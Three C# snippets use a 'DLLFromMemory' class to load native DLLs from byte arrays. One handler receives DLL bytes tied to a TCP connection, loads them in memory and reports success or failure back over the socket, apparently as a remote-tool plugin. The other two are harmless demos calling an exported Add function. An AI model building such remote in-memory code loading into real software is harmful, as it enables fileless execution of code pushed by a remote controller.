public static void main(TcpClient K, object[] Param_Tab) { byte[] dll_bytes = (byte[])(Param_Tab[1]); try { DLLFromMemory dll = new DLLFromMemory(dll_bytes); PacketMaker P = new PacketMaker(); P.Type_Packet = PacketType.SUCCESS_LOAD_NATIVE_DLL; P.Misc = new object[] { "Dll was loaded successfully !" }; Packet_Send Send = new Packet_Send(); Send.Packet = P; lock (K) { Send.Send(K.GetStream()); } } catch (Exception ex) { // MessageBox.Show(ex.ToString()); PacketMaker P = new PacketMaker(); P.Type_Packet = PacketType.ERROR_LOAD_NATIVE_DLL; P.Misc = new object[] { ex.ToString() }; Packet_Send Send = new Packet_Send(); Send.Packet = P; lock (K) { Send.Send(K.GetStream()); } } }
private unsafe void Form1_Load(object sender, EventArgs e) { DLLFromMemory dll = new DLLFromMemory(Properties.Resources.DllInC__); SomeExportedFunctionInTheDll addFunc = dll.GetDelegateFromFuncName <SomeExportedFunctionInTheDll>("AddInteger"); MessageBox.Show(addFunc.DynamicInvoke(10, 10).ToString()); }
static int Main(string[] args) { Console.WriteLine("Process is " + (DLLFromMemory.Is64BitProcess ? "64" : "32") + "bit\n"); DLLFromMemory dll = new DLLFromMemory(GetSampleDLLBytes()); AddDelegate addFunc = dll.GetDelegateFromFuncName <AddDelegate>("Add"); Console.WriteLine("Calling add(1, 2): " + addFunc(1, 2) + "\n"); CallCallbackDelegate callCallbackFunc = dll.GetDelegateFromFuncName <CallCallbackDelegate>("CallCallback"); Console.WriteLine("Calling callCallback(TestCallback, 777)..."); callCallbackFunc(TestCallback, 777); Console.WriteLine("Done!\n"); dll.Close(); return(0); }